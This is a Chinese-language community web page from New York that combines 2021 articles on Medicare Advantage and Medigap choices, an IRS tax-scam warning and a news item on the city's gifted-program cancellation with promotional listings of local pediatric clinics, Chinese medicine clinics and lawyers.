红蓝卡优势计划,HMO和PPO计划的区别

 

一些红蓝卡优势计划每年会有签约的医院和医生,所以每个年度网络内医院或医生可能会有变化。

另外,红蓝卡优势计划牙科福利方面,不同地区不同的优势计划,牙科的福利也都不一样。一般HMO计划的齿科福利相对多一些,保险公司会与网络内医院和医生商定成本削减,因此提供的福利反而多一些。

PPO计划的牙科福利,一般会包括一年两次的免费洗牙,或一些费用较低的牙科治疗服务。

不过,每个优势计划的福利都不相同,所以参加计划的时候,事先了解清楚细节很重要。

参加红蓝卡优势计划,处方药保险部分的福利和原先传统红蓝卡独立的D部分差别不大。

红蓝卡优势计划自己承担的费用

其实在美国不同地区,红蓝卡优势计划都不一样,有些地区可以有超过十多种的优势计划可以选择,并且每月保险费用可以低至0美元;而有些地区可选的优势计划很少,保险费用也相对比较高,取决于您所居住地区。

注册了优势计划, B部分每个月的保险费用需要继续支付,2021年的标准是每个月$148.50美元,通常都会逐年增加。

优势计划除了遵循Medicare的基本规定,不同的计划会有不同的一套自付额 coinsurance, 手续费copay 以及年度最高自付额Max out-of-pocket的规定。2021年,红蓝卡优势计划年度最高自付额可高达7550美元。

另外,对于费用较高的医疗服务,有些优势计划要求事先授权,就是需要得到保险公司的预先同意,看医生后的费用才能报销。

红蓝卡优势计划注册时间

优势计划是按年度签约的医疗保险计划,所以您可以每年更改计划,保险费和福利都会跟着改变。红蓝卡每年有一个开放注册期open enrollment period,从10月15日到12月7日,这段时间内您可以注册优势计划。

在红蓝卡开放注册期,注册红蓝卡优势计划

 

另外,优势计划也有每年的开放注册期Medicare Advantage open enrollment period, 是从1月1日到3月31日,在这期间您可以更改您的优势计划。就是说,如果您已经参加了优势计划,要改变计划的话,可以在优势计划开放注册期内更改计划,或者结束优势计划,改到原先的红蓝卡传统计划。

红蓝卡优势计划在美国有些地区很受欢迎,很多人参加,而有些地区则少有人问津。

是否参加优势计划或者参加哪一种优势计划取决于您的财务预算、健康需要。很重要的一点是需要搞懂支付的费用与得到的福利的平衡,并且能够符合您的生活要求。

 

2021-10-11 / by / in ,
【金牌推荐】 纽约精选儿科诊所 | 儿科专家 华人儿科医生 入学体检 预防针 心理健康

孩子从出生开始就要和儿科医生打交道,比如定期体检、打预防针。孩子成长过程中免不了会有感冒发烧、闹肚子等等,也都离不开儿科医生。在纽约有哪些专业的华人儿科医生呢?下面我们为大家精选了纽约地区的华人儿科专家。

幸福儿科诊所 纽约专业儿科医生 华人医生

地址:762 59th st, Suite 7, Brooklyn, NY 11220(7至8大道之间)

电话:917-338-6688

网站:www.happinesspediatrics.com

幸福儿科诊所所长黄彦鈜医生,疫情中关怀孩子精神健康。建议家长帮助孩子减少精神健康问题,包括青少年自我伤害、用药过度和药物滥用等问题。远程上课期间,建议父母与孩子之间更加重视互动,包括感情交流、一起户外活动、自我放松心情等。一旦发现孩子有心理健康问题,及时联络医生,寻求帮助。

儿科医生-幸福儿科917-338-6688

 

布鲁克林地区

张志友医生童安儿科诊所 纽约华人儿科

地址:8705 19th Ave., Brooklyn, NY 11214

点击致电:718-256-5608

童安儿科诊所位于布鲁克林19大道8705号,位于邮局对面,临近86街与地铁站。张志友医生有20多年丰富的儿科治疗经验。诊所提供专业儿科医疗服务,包括:新生儿检查,奶票表格、各类医疗测试、营养咨询、外伤处理、疫苗接种、入学体检等。

诊所接受各类医疗保险,并提供远程诊疗,24小时电话服务。

布鲁克林童安儿科718-256-5608 / 布鲁克林86街儿科/18大道儿科

 

诸航西科内医 家庭全科 儿科诊所 纽约儿科 中文

地址:878 60th St.3FL,Brooklyn, NY 11220(布魯崙60街與9大道街角處)

电话:718-686-1100

纽约布鲁克林地区诸航西科内医,专设妇科、儿科、外科和医学美容。是联邦政府指定卡车司机体检医生。为您的家庭提供健康保障。

提供24小时内回国新冠covid核酸检测及IgM抗体检测报告。

諸航西醫內科•家庭全科/紐約婦科/紐約兒科/紐約外科/醫學美容 電話:718-686-1100/內科診所 紐約布魯崙診所

 

史丹顿岛地区

幸福儿科史丹顿岛分诊所 纽约史丹顿岛第一家华人儿科

地址: 2691 Hylan Blvd, Staten Island, NY 10306.

电话:718-980-6688

幸福儿科诊所为从刚出生到21岁青少年提供医疗服务,包括新生儿体检,健康检查、入学体检、疫苗接种、生长发育咨询、成长儿童营养咨询等,以及各类儿科疾病诊断治疗。可接受所有保险。

接受远程视讯看诊,手机、短讯咨询。

史丹顿岛儿科/华人儿科医生/718-980-6688/幸福儿科史丹顿岛分诊所

 

长岛地区

纽约长岛儿科 华人儿科 小儿科

电话:5167758000    5163542459

地址:1575 Hillside Ave Suite 302, New Hyde Park, NY, 11040

长岛儿科诊所地处长岛中心位置,服务新生儿到21岁的儿科和青少年专科。诊所定期为社区居民提供母婴和儿科方面的健康讲座。

长岛儿科 I Care Medical PLLC(516-775-8000 )

 

曼哈顿地区

民铁吾儿科中心 纽约儿科专家 华人儿科医生

地址:217 Grant St. 5/F New York, NY 10013

电话: 212-966-3585

位于纽约曼哈顿地区的民铁吾儿科中心,医生均毕业于美国著名医学院,并由多年小儿科的临床经验。为0到21岁婴幼儿及青少年提供专业的儿科服务。如奶票申请,预防针接种、入学体检等。

诊所接受多种医疗保险和儿童健保。

民铁吾儿科中心(民铁吾儿科中心 PED ASSOCIATE)212-966-3585

 

 

2021-10-11 / by / in ,
“做法犹如共产党” 纽约市长取消天才班遭抗议

上周五(10月8日),任期已经不足3个月的纽约市长白思豪突然宣布,今年将取消纽约市公校的天才班项目(G&T program)。这引起了纽约市学生家长与教育团体的强烈不满。纽约同源会会长黄友兴指出,白思豪让每个人都一样的做法犹如共产党。

市长白思豪与市教育总监波特8日在WNYC的广播节目“布莱恩‧莱勒秀”(Brian Lehrer Show)中,宣布今年秋天会结束天才班项目,取消4岁学龄儿童进入天才班的入学考试。

白思豪说:“我们要结束我认为错了很长时间的事情,给4岁小孩一次测试,就决定他一大部分的未来。我们将通过‘加速学习’(Accelerated learning)让数以万计的学生受益。”

当节目主持人进一步向波特确认:“加速学习”究竟只是蓝图还是确定要立即实施的计划?波特的回答是:“这是我们打算实施的计划的蓝图”(This is the blueprint for the plan that we intend to implement)。

市长白思豪的说法,引发纽约市学生家长的不满。为维护教育权益,多位社区人士与教育团体计划在周二(10月12日)前往纽约市教育局大楼前集会抗议。

皇后区第28学区委员赵路时表示,先前市长在天才班项目的存废问题上,承诺要先与学区委员会沟通,因此他对市长突如其来宣布取消天才班,“觉得很突然”。

2020年10月23日,超过100名家长在市政厅公园举行集会,抗议市长白思豪利用疫情有意推动取消天才班。(The Epoch Times)

州参议员暨市教育委员会主席刘醇逸则在推特上发文,称天才班项目是“好几代学生不可或缺的选择”,指白思豪原先“承诺将让广泛公众参与(天才班)”,“但现在希望彻底消除”,并指白思豪的做法等于是“取消”下一任市长主导天才班项目的权利。

共和党市长候选人斯利瓦(Curtis Sliwa)在回应记者的声明中表示:“当我就读Bildersee初中时,我在7和8年级参加SP课程,并从这些课程中受益。(当时的 SP 计划类似于我们现在的天才班项目。)因为我亲身体验了这些好处,所以我想要更多而不是更少的天才班。天才班项目不应被稀释,也不应终止。

纽约市居民、联盟主席臧东慧说:“很多华人家长没有其它资源,不懂申请私校或特许学校,很多人是看中纽约市公校的(天才班)资源,而选择留在纽约市。”

纽约同源会会长黄友兴指出,白思豪让每个人都一样的做法犹如共产党,“我在1978年至1981年就读初中7年级到9年级时”,“每个学校都有(类似)天才班项目”,后来这些项目因为资金与政治因素而缩减。

黄友兴表示,虽然天才班项目的存废问题由市长主导,但民间并不排除采取法律行动。

2021-10-11 / by / in , , ,
【金牌推荐】2023最佳纽约信托律师 | 生前信托律师 遗产规划律师

在纽约做遗产规划对您家庭的财务状况至关重要。创建遗嘱和必要的信托可以减轻您的税收负担、保护遗产中的财产并避免遗嘱认证,同时可以确保您的遗产规划得以实现。

金牌资讯网为大家推荐几位生前信托律师、遗产规划律师,在遗嘱、信托、遗嘱认证、遗产管理、遗产税、遗产结算服务等相关事务方面经验丰富的律师( 纽约遗产规划律师)。

最佳纽约信托律师–明理律师事务所

明理律师事务所

地址:136-20 38th Ave, Suite 9J, Flushing, New York 11354
电话:(718)939-9000
网站:https://mchenlaw.com

明理律师事务所位于纽约市皇后区法拉盛核心地带,是2003年由陈明利律师在纽约创立的一家综和性律师事务所,有多个类别,多个大案,死案,难案案件胜诉之结果,因此而享誉全美律师界。本所专注于遗产规划,信托,遗嘱和遗产认证以及白卡信托。

点阅相关文章【金牌推荐】2021最佳纽约刑事律师 | 纽约刑事辩护律师 纽约欺诈案辩护律师 醉酒驾车案律师

陈明利律师1999年毕业于北京大学法学院,后在哈佛大学法学院接受律师教育培训,2003年毕业于纽约大学法学院。陈律师是纽约州执照律师,联邦地区法院纽约南区、东区和西区律师,联邦巡回法院第二、第九巡回法庭律师,联邦移民法庭律师和多州法院一次性许可律师。

纽约遗产规划律师/信托律师/明理律师事务所 (718)939-9000

我们在财产遗产规划的法律服务包括但不限于:

  • 遗嘱
  • 可撤销的生前信托
  • 不可撤销的财产保护信托
  • 授权书
  • 不可撤销的保险信托
  • 医疗代理人
  • 税务咨询
  • 税务审计
  • 信托管理
  • 未成年人监护权
  • 成年监护权

    最佳纽约信托、遗产律师–王欣榕

    王欣榕律师团队/综合性律师事务所/法学博士/离婚/遗产信托/房地产/破产

     电话:(718)-308-5180

    网址: www.nylawyerservices.com

    法拉盛办公室: 41-25 Kissena Blvd., 128 Room, Flushing, NY 11355

    布鲁克林八大道办公室: 64-02 8th Avenue, Suite 205B, Brooklyn, NY 11220

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设立生前信托 身后事免烦恼 | 如何设立信托 信托与避税

最佳纽约信托律师–苗欣律师事务所

苗欣律师事务所 – MIAO & ASSOCIATES, PLLC

位于: Prince Center
地址:39-07 Prince St #6F, Queens, NY 11354
电话:718-888-7786

做纽约生前信托找最佳纽约遗产规划律师(纽约信托律师)苗欣律师

苗欣律师于2007年成立律所,擅长信托遗嘱、各类亲属移民、房地产交易等法律业务。

苗欣律师为纽约州执业律师,联邦上诉第二巡回法院执业律师,全美律师协会及全美移民律师协会成员,美国佛罗里达大学法学硕士。

苗欣律师介绍,信托是一种可以拥有财产的虚拟实体。由信托设立人制定一份文件,把某些财产转入信托之中,并制定受托人和受益人,由受托人管理信托,并根据信托文件把信托财产分配给信托受益人。放入信托的财产可以避免财产认证,所以信托是很多人制定遗产计划时常用的选择。常见的信托是生前信托(living trust)和遗嘱设立的信托(testamentary trust)。

最佳纽约信托律师–高开飏律师事务所

高开飏律师事务所 – Kai Gao Esquire P.C.

地址:39-07 Prince St . Suite 6E, Flushing, NY 11354
电话:718-886-8670

做纽约生前信托找最佳纽约遗产规划律师(纽约信托律师)高开颺律师

位于纽约法拉盛的高开颺律师事务所,地处法拉盛繁华地段,是法拉盛一家专业、权威、知名的律师事务所,擅长遗嘱信托、建筑纠纷、商业合同纠纷、房屋买卖、合同租约、商业交易等。

高开颺律师事务所长期以来,坚持以最优质的法律服务,为广大华人朋友提供专业的建筑纠纷、工程索赔、融资信贷、合同租约、遗嘱信托等一流的法律服务,有效的避免和妥善的处理各种商业、建设工程纠纷等,为你提供最好的财产保护措施与建议。

高开颺律师事务所718-886-8670/高效地为您解决建筑纠纷/合同纠纷/房屋违规

最佳纽约信托律师–王劭文律师

王劭文律师事务所 – The NEAL Group.LLC

电话:(718) 355-9737
曼哈顿地址:136 Madison Avenue, 6th Floor, New York, NY 10016
法拉盛地址:36-40 Main Street, Suite 306, Flushing, NY 11354

 

做纽约生前信托找最佳纽约遗产规划律师(纽约信托律师)王劭文律师

Neal Group,LLC王劭文律师事务所是一家专门从事信托、遗嘱、财产遗产规划与房地产和资产保护领域的律所。一直积极与其他法律专业人士,注册会计师,房地产开发商,财务顾问和住房专业人士合作,为老年人及其家人提供高质量和支持性的法律服务。

以上最佳纽约遗产规划律师(纽约信托律师)排名不分先后。

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2021-10-10 / by / in ,
【金牌推荐】2021最佳纽约刑事律师 | 纽约刑事辩护律师 纽约欺诈案辩护律师 醉酒驾车案律师

当您在纽约不幸被逮捕或者面临刑事指控的时侯,你的人身自由已经受到了威胁。刑事辩护问题可能非常复杂,聘请合适的纽约刑事辩护律师也许是你一生中最重要的决定之一。顶级的纽约刑事律师始终会顽强地为客户的案件争取最好的结果。

金牌资讯网通过对众多纽约刑事律师的声誉、资质、实践经验以及专业性等方面的综合考量,推荐给大家几位有中文服务的、资深的纽约刑事辩护律师。

最佳纽约刑事律师-威廉律师事务所

华语专线: 917-428-5152
总部地址: 4340 162nd St, 2Fl., Flushing, NY 11358
官方网站:https://www.jwlawofficeny.com/
微信: elainelawoffice
微信公众号: YiWaiShangHai
办公室: 718-361-8080

纽约威廉律师事务所,专精纽约车祸受伤、建筑工地受伤、医疗事故、跌倒滑伤等意外伤害快速索赔。

40年余来,威廉律师事务所首席律师杰瑞威廉一直帮助遭受意外伤害的客户索赔,有非常丰富的经验。威廉律师提醒华人,意外伤害案件涉及到律师、医生等多个环节,所以一定要找经验丰富、有责任心、更专业的律师,才不会被耽误,可以更快索赔。

凡是威廉律师事务所代理的客户,律师都会亲自到伤害现场调查取证,并请相关领域的专家作证,以最细致的工作帮助当事人成功索赔。

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💰 先服务, 后收费 – 根据赔偿金额收取, 若没有获得赔偿, 威廉律师楼承诺分文不取;

🎓 有专业经验的律师团队 – 威廉律师楼聘请多名丰富经验的犹太超级大律师;

🌐 语言无障碍,国粤语多语言 – 8位会讲国语,广东话,福建话,温州话和台语的有优秀的律师助理组成。

纽约威廉律师事务所,专精纽约车祸受伤、建筑工地受伤、医疗事故、跌倒滑伤等意外伤害快速索赔。

最佳纽约刑事律师–高柏格.杜宾律师楼

高柏格.杜宾律师楼(Goldberger & Dubin, PC)

地址:401 Broadway, Suite 306, New York, NY 10013
电话:(646) 681-5997

网站:https://www.goldbergerdubin.com/chinese/

30余年办案经验,高柏格、杜宾均为前纽约检察官,获MARTINDALE HUBBELL全美律师名录,选为全国卓越刑事律师,精办全美联邦法庭、纽约和新泽西州法庭刑事审讯和上诉案件,擅长打陪审团官司,被誉为最好的纽约刑事辩护律师之一。

精办刑事移民案件:保释辩护、出庭上诉、偷渡绑架、持枪抢劫、恐吓勒索、走私贩毒、谋杀强暴、诈骗盗窃、醉酒驾车、少年犯罪、商业诈骗、海关扣押、假信用卡、FBI、INS、DEA、ATF、IRS调查、递解出境、绿卡公民、意外赔偿、医疗误诊。

金牌推荐 2021最佳纽约刑事律师 | 纽约刑事辩护律师 纽约欺诈案辩护律师 醉酒驾车案律师 高柏格.杜宾律师楼

★提供案件免费咨询,通英语、国语、粤语。

  • 三位前任检控官为你奋斗
  • 综合辩护经验加起来超过100年
  • 经手过的案件超过千起,包括陪审团官司和上诉案
  • 令人印象深刻的办案结果,多次媒体的报导
  • 有能力处理各级法庭的案件

高柏格杜宾律师楼 212-431-9380

最佳纽约刑事律师–盖茨诺联合律师楼

盖茨诺律师楼(保释刑事、移民民事,交通罚单)

地址:35-26 Farrington St #2fl, Flushing, NY 11354
电话:718-460-0819

24小时紧急保释,专业处理全美刑事案。

盖茨诺律师楼已经成立30年,有非常良好的信誉,是大纽约地区最专业、最资深的刑事与移民律师楼之一。

金牌推荐 2021最佳纽约刑事律师 | 纽约刑事辩护律师 纽约欺诈案辩护律师 醉酒驾车案律师 盖茨诺联合律师楼

精办各类按摩销底丶酒后驾车丶虐待儿童丶夫妻纠纷丶打架斗殴丶商场盗窃丶空头支票丶洗黑钱丶性侵犯丶信用卡诈骗丶身份诈骗丶移民诈骗等。

7天营业,通中英粤韩语。

盖茨诺联合律师楼646-801-8829

最佳纽约刑事律师–张德海律师楼

张德海律师楼(Law Offices Of Dehai Zhang)

地址:136-20 38th Avenue, Ste 9G Flushing, NY 11354
电话: (718) 463-1111
网站:http://www.dehailaw.com/

张德海律师拥有哈佛大学神学研究硕士学位和长岛Touro法律中心法学博士学位。他于2002年初成立这本律师事务所,专注于刑事辩护和民事诉讼,包括各类移民,房地产和商业转让, 婚姻问题,以及遗产继承。

金牌推荐 2021最佳纽约刑事律师 | 纽约刑事辩护律师 纽约欺诈案辩护律师 醉酒驾车案律师 张德海律师

张德海律师事务所涉及毒品犯罪,暴力犯罪,性犯罪,白领犯罪,青少年犯罪,以及酒后驾车等情况下提供辩护。

在他自己开业之前,张律师曾在曼哈顿和布朗克斯的个人伤害律师事务所工作。 张律师曾代表众多客户在纽约最高法院,移民法庭,全国各地几乎所有的上诉联邦法院出庭或上诉。

最佳纽约刑事辩护律师–彼得·戈登律师楼

彼得·戈登律师楼(Peter S. Gordon)

电话:(718) -544-7070/(212)-518-8330
地址: 108-18 Queens Blvd 6th Fl, Queens, NY 11375

如果您被指控犯罪但尚未被定罪,经验丰富且知识渊博的刑事辩护律师可以做很多事情来帮助您的案件。良好的法律代表可以将您的案件提交法庭,并尽一切努力降低对您指控的严重程度,甚至在某些情况下,完全撤销指控。

金牌推荐 2021最佳纽约刑事律师 | 纽约刑事辩护律师 纽约欺诈案辩护律师 醉酒驾车案律师 彼得·戈登律师

在彼得·戈登律师楼(Peter S. Gordon) 的纽约律师事务所,我们了解如果您被提起刑事指控,您将面临的严重程度。我们在以下领域为客户辩护方面拥有丰富的经验,并准备好利用我们拥有的所有资源和专业知识为您处理案件并为您辩护:

  • 盗窃和抢劫
  • 伤害
  • 性侵犯
  • 家庭暴力
  • 白领犯罪
  • 非法拥有枪支和武器

Gordon & Gordon, P.C律师楼

最佳纽约刑事辩护律师–朱&施联合律师楼 

朱&施联合律师楼

地址: 450 7th Ave #305, New York, NY 10123
电话:212-279-5442

24 小时营业

朱&施联合律师楼团队在刑事及移民领域皆有三十年的经验,是资深刑事律师行,值得您信赖委託,

承办各类刑事 ─ 毒品大麻/强奸/洗钱/逃税漏税/假货/非法持枪/网上诈欺/家庭暴力/猥亵儿童/信用卡诈欺/按摩卖淫/勒索绑架/警局移民局保释/商业诈骗/醉酒驾车/偷窃抢劫等。

最佳纽约刑事辩护律师–凯文律师事务所

凯文律师事务所(King L. Wu & Associates, P.C. )

地址: 38-08 Union St Suite 10F, Queens, NY 11354
位于: Flushing Commons
电话:718-888-0618

网站:https://www.wuesq.com/

金牌推荐 2021最佳纽约刑事律师 | 纽约刑事辩护律师 纽约欺诈案辩护律师 醉酒驾车案律师 凯文律师事务所

尽管每一个案件都不相同,但尽早咨询凯文律师是帮您走出这片阴霾的重要一步。

承办各类家庭暴力、无证按摩、信用卡诈骗、酒后驾驶/醉酒驾驶、遣返抗辩、药物犯罪、联邦犯罪、白领犯罪、定罪后上诉、交通违规等

最佳纽约刑事辩护律师–王君宇律师楼

王君宇律师楼

地址:3712 Prince Street, Unit 10A Flushing, NY 11354
电话:(718) 353-9264

王君宇律师楼由美国顶尖法学院的博士、硕士和经验丰富的律师助理组成。总部设在美国纽约的王君宇律师楼,成立十几年来专注于为在美华人提供法律服务,包括刑事辩护,移民,民权诉讼,公司法务顾问等业务。

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王君宇律师楼在十几年内以令人惊叹的速度跻身纽约顶尖华人律师事务所之一。

最佳纽约刑事辩护律师–安娜律师事务所

安娜律师事务所

地址:136-18 39th Ave. 8th Floor, Flushing, NY 11354
电话:(212)-660-3300

在安娜律师事务所,律师的宗旨是为客户提供卓越的跨州、跨语言的法律帮助和解决方案

无论您被指控多严重的罪行,还是仅仅因为交通违规而收到法院传票,安娜律师事务所的律师们都会理解您的困境并且具有相对应的解决技巧来帮助您完成整个刑事司法系统的流程。

  • 紧急保释
  • 毒品犯罪
  • 家庭暴力
  • 洗钱犯罪
  • 信用卡诈骗
  • 酒醉驾驶
  • 无证按摩
  • 偷窃抢劫
  • 交通违规
  • 白领犯罪
  • 非法持有武器
  • 保险及政府福利诈骗
  • 定罪后上诉
  • 各类欺诈
  • 勒索绑架
  • 谋杀抢劫
  • 行贿受贿
  • 伪造案件
  • 海关扣押
  • 暴力恐吓
  • 未成年犯罪
  • 空头支票
  • 经济犯罪
  • 金融犯罪

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2021-10-08 / by / in , , ,
纽约 中医诊所 精选 | 针灸 拔罐 草药 按摩 推拿 艾灸 诊所 推荐【金牌推荐】

纽约中医诊所、针灸诊所精选

中国传统的中医因副作用小,治疗费用低,可以治疗很多西医无法治愈的疑难病,深受华人的喜爱。以下是我们为大家精选的纽约地区的中医诊所。

张碧恒诊所

主治:不孕不育,不孕症,妇科,试管婴儿,痛症,针灸,拔罐等

主治医师:张碧恒医师

地址1:3808 Union St., Suite 5G, Flushing, NY 11354

电话:718-353-8500

地址2:139 Centre St., Suite 202, New York, NY 10013

电话:212-343-9398

地址3:8733 Justice Ave., Elmhurst, NY 11373

电话:718-505-3500

网站1:https://healthkeygroup.com/

网站2:https://nycwellington.com/

张碧恒医师简介:

*Healthkey Group恒康集团的创始人

*在中国获得学士学位

*在纽约中医学院获得锘灸和东方医学硕士学位

*获得国家锘灸和东方医学认证委员会 (NCCAOM) 的认证

*中美独立实践协会和美国专业健康认证的成员

*西奈山医院跟多家保险公司指定网络针灸医生

*美国东方医学不孕不育协会会员

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2021-10-07 / by / in ,
半年内逾32万人遭骗超5亿 美国税局总结税务诈骗手法

据美国联邦贸易委员会 (FCC)的统计,在2021年上半年,有超过32.7万名美国的纳税人遭到税务诈骗,损失金额高达5亿美元。多数诈骗分子针对的目标通常是经济纾困金(Economic Impact Payment)和2021年子女税优惠付款(Advance Child Tax Credit Payments)。

美国国税局(IRS)表示,税务诈骗犯罪分子特别会针对弱势群体下手,比如老人、新移民和不会讲英语的纳税人。

以下是国税局列出的几种常见诈骗手法:

以非说英语者为目标:

假冒国税局人员的诈骗者,以英语能力程度有限的民众,或者可能收到经济影响补助金的人为目标,要求纳税人提供个人或金融资讯;这些诈骗者可能已取得纳税人的一些资讯,包括地址、社会安全码后四位数字或其它个人详细资料。

纳税人会接到声称来自国税局的来电,威胁会遭监禁、驱逐出境或吊销驾照。新移民应忽略威胁并不与诈骗者往来。

网路钓鱼:

国税局不会经由电子邮件联络纳税人、通知税单、退税或办理经济纾困金等事项,民众切勿点选声称来自国税局的网络连结,这些钓鱼网站企图窃盗识别资讯或金融账户资讯,包括账户号码及密码。

利用还款要求伪装付款:

犯罪分子会找到欺骗纳税人的诈骗新手法,包括杜撰要还款给纳税人的实际银行账户。此处说明诈骗运作方式:

骗子窃盗或获取纳税人的个人资料,包括个人报税识别号码(ITIN)及银行账户资讯。诈骗者申报杜撰的报税表并且已将退税存入纳税人的支票或活存账户。一旦直接存款存入纳税人的银行账户,欺诈者会假装是国税局员工打电话给纳税人。接着告诉纳税人发生错误,并且国税局需要直接退还金钱,否则会受到处罚或收取利息。告诉纳税人购买还款金额的特定礼品卡。

国税局决不会要求用特定方法付款。纳税人可以有许多付款选项,并且也有流程可让纳税人有权询问欠税金额。纳税人在任何时候收到非预期的退税及国税局来电要求出乎意料的退款还款,应直接联络银行机构及国税局。

威胁恐吓电话:

骗犯罪分子常声称是国税局来电,试图向潜在受害者灌输恐惧和紧迫感。

实际上,国税局绝不会直接致电纳税人,要求立即付款和索取金融资讯,更不会使用威胁的口吻。也不会以电话通知非预期的退税或经济纾困金等;这些诈骗来电经常是“自动录音电话”形式,这是文字转语音的录制讯息,内含回电的指示。

 

2021-10-06 / by / in , , ,
红蓝卡补充医疗保险 和红蓝卡优势计划 要选哪一个 | 利弊比较 每月保费 医疗网络 福利范围

美国联邦政府红蓝卡的传统医疗保险,由A,B两部分组成;除此之外,红蓝卡还有优势计划(Medicare Advantage)C部分,处方药计划D部分,以及补充保险(Medigap)部分,对大部分人来讲确实优点复杂。而红蓝卡补充保险和优势计划,这两种计划只能选择其中的一种,它们的区别在哪里呢?

传统红蓝卡主要包含2部分,即A部分和B部分,A部分是住院部分的医疗保险,很多人自己不需要支付保险费;B部分就是看医生部分的保险,绝大部分人都需要支付这部分的医疗保险费,2021年度,B部分的保险费是每个月$148.50,如果是高收入人士,保费会更高一点。B部分的保费每年都会有增长。

美国联邦医疗保险Medicare红蓝卡 ABCD四大部分 | 福利范围 各项费用解析 保费 自付额 共保额 2021年最新更新

参加了红蓝卡A部分和B部分以后,想要获得红蓝卡的其它福利,还可以有两种选择。就像走到岔口,有两条路可选,但是两者只能选一种。但无论选哪条路,红蓝卡B部分,每月的$148.50保险费一般都要支付。

红蓝卡补充保险 Medigap

第一种选择,仍然保留红蓝卡A部分和B部分作为基本的医疗保障,您可以在美国任何接受红蓝卡的诊所就诊。这时,您一般会需要参加红蓝卡D部分来承担处方药的费用。另外,有很多人会注册红蓝卡补充计划(Medicare Supplement Plan or Medigap),补充保险可以报销A部分和B部分自己支付的医疗费用,比如自付额Deductibles,共保额Co-insurance 和手续费Copay。补充保险又有10个子计划可以选择。

提供红蓝卡补充保险计划的保险公司很多,无论选择哪一家,福利保障都是一样的。比如您选择X保险公司的红蓝卡补充计划G,与选择Y保险公司福利是相同的。那么,红蓝卡补充计划利弊各有哪些呢?

红蓝卡补充保险的优点:

  • 不必担心医疗网络,您可以在美国所有的州,接受红蓝卡的诊所就诊,没有医疗网络限制;
  • 看专科医生不需要转诊;
  • 不用担心巨额医疗费用,因为补充保险可以覆盖几乎所有A部分和B部分自付额(Out of pocket)的费用;
  • 较少拒绝索赔的问题。

补充保险计划的短处:

  • 每个月保险费用增多:除了B部分之外,还要支付D部分的处方药保险和红蓝卡补充保险的费用。红蓝卡补充保险的月度费,根据地区不同,65岁以上的长者一般从$100到$200不等;
  • 红蓝卡补充保险不包含牙科和眼科的医疗服务。

红蓝卡补充保险计划(Medigap) 填补传统联邦医疗保险的“空白”部分

红蓝卡优势计划 Medicare Advantage

那么,另外一种选择,就是红蓝卡优势计划(Medicare Advantage),也称为C部分。这部分是传统红蓝卡的替代计划。红蓝卡优势计划是政府管理和资助的医疗保险计划,您在注册了红蓝卡之后,可以参加红蓝卡优势计划来取代原先的传统红蓝卡的福利。这部分类似于HMO或 PPO计划,保险公司会提供各类医疗计划共您选择。优势计划的利弊有哪些呢?

优势计划的优点:

  • 保费较低,除了B部分的保费还要照常支付,优势计划的每月保费可以低至0美元;
  • 优势计划一般都包含D部分的处方药部分;
  • 增加了很多传统红蓝卡没有的福利,比如牙科和眼科。
  • 只需一卡在手,非常方便。

优势计划的短处:

  • 有医疗网络限制,只能选择网络内医院和医生,选择范围较小。如果要看网络外的医生就要支付较高的费用;
  • 看专科医生需要转诊;
  • 几乎所有的医疗服务都需要支付手续费(Copay)和共付额(coinsurance)。2021来看,每年的最高自付额(out-of-pocket)可高达$7550;
  • 可能面临较多的保险索赔拒绝。

红蓝卡补充保险计划和优势计划,两者只能选其一

另外,很重要的一点是,红蓝卡补充计划通常要医疗核保(medically underwritten),就是如果您有某些健康问题,保险公司可以拒绝承保。但是,如果您在65岁的时候或者首次注册B部分后,参加补充保险计划,这时保险公司不能因为您的健康状况而拒绝受保或者增加保费,但超过Medigap OEP的窗口期以后就没有这个保障了。

红蓝卡优势计划,您可以在每年的注册期(enrollment period)选择保险计划,没有医疗核保的问题。

在做选择到底参加红蓝卡补充计划,还是红蓝卡优势计划时,需要考虑方方面面的因素,比如支付能力、健康状况、您居住地有哪些可选的计划等等。

美国联邦医疗保险Medicare红蓝卡 谁有资格申请 | 纽约退休医疗保险 ABCD四部分福利项目 申请材料 申请方式 申请时间 2021年最新资讯

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的法律顾问咨询。

2021-10-05 / by / in ,
【金牌推荐】2022最佳纽约房地产律师 (718) 888-8720 美国纽约买房 纽约地产律师推荐

在新冠疫情的影响之下,美国的住房供给不能满足买方需求,房地产市场蓬勃发展。在2022年,美国的房价创下了历史最高水平。前住房和城市发展部部长本·卡森(Ben Carson)在上月预测,火爆的住房市场及其创纪录的价格上涨在较长的时间内不会得到改善。

在美国买卖房产,有很多令人困扰的、复杂的法律文件,而且在纽约州,房地产合同必须要由律师撰写。所以请一位出色的房地产律师就至关重要,有助于确保您的地产买卖顺利进行。金牌资讯网通过对众多纽约房地产律师的资质、实践经验、声誉和专业性等方面的综合考量,推荐给大家几位有中文服务的、最受好评的纽约房地产律师。

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兰岳房地产律师事务所 的专业法律服务范围包括:查验交付的房屋是否合格,有无质量问题及其他违约情况。办理收房、办理入住、办理产权过户以及房地产权益纠纷的诉讼等。

如果你在房地产的抵押、买卖、租赁、拍卖中,发生任何纠纷,郭凤丽房地产律师事务所都会竭尽全力,为你解决燃眉之急,为你出谋献策,让你的生活尽早恢复高效、优质的轨道!

 

 

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电话:(718)886-8670/(718) 661-0018
地址:39-07 Prince St . Suite 6E, Flushing, NY 11354 (王子中心6楼 6E)

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纽约法拉盛高开颺律师事务所,是一家权威的房地产律师楼,由一支纽约执业律师团队组成,高开颺律师主理。

高开颺律师执业多年,积累了丰富的办案经验,主办各种房屋买卖,合同租约,商业交易,遗嘱信托,财产保护,与其他的民事和商业法律服务。

高开颺律师擅长建筑纠纷、商业合同纠纷、股东股权协议、房产工程建筑纠纷、公司成立买卖等,提供在线电话咨询服务,帮助各行各业的侨胞在美国立足,排解法律纠纷。

在建筑行业,纠纷有时是无法避免的。高开颺律师事务所,运用最专业的法律服务,为你的建筑工程纠纷、建筑工程索赔、建筑伤亡、商标权受侵等法律领域知识,为当事人提供建设工程合同纠纷诉讼及非诉讼案件服务。

 

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郭凤丽律师是纽约专业的房地产和商业交易律师,数十年执业经验,完成3000多笔交易,数千过户案例,代理多家建筑商与各类房产交易。

郭凤丽律师事务所自2002年成立以来,一直为纽约地区提供优质的法律服务。专注于房地产和商业交易,并有数千计的成功案例。郭凤丽律师代表不同的客户,包括纽约的建筑商、承包商、投资者、个人买家和卖家等。交易的对象包括商业地产、住宅、公寓、合作单位、酒楼、干洗店、餐厅、美甲沙龙等。郭律师还专门帮助客户起草和谈判租赁、地产合同。

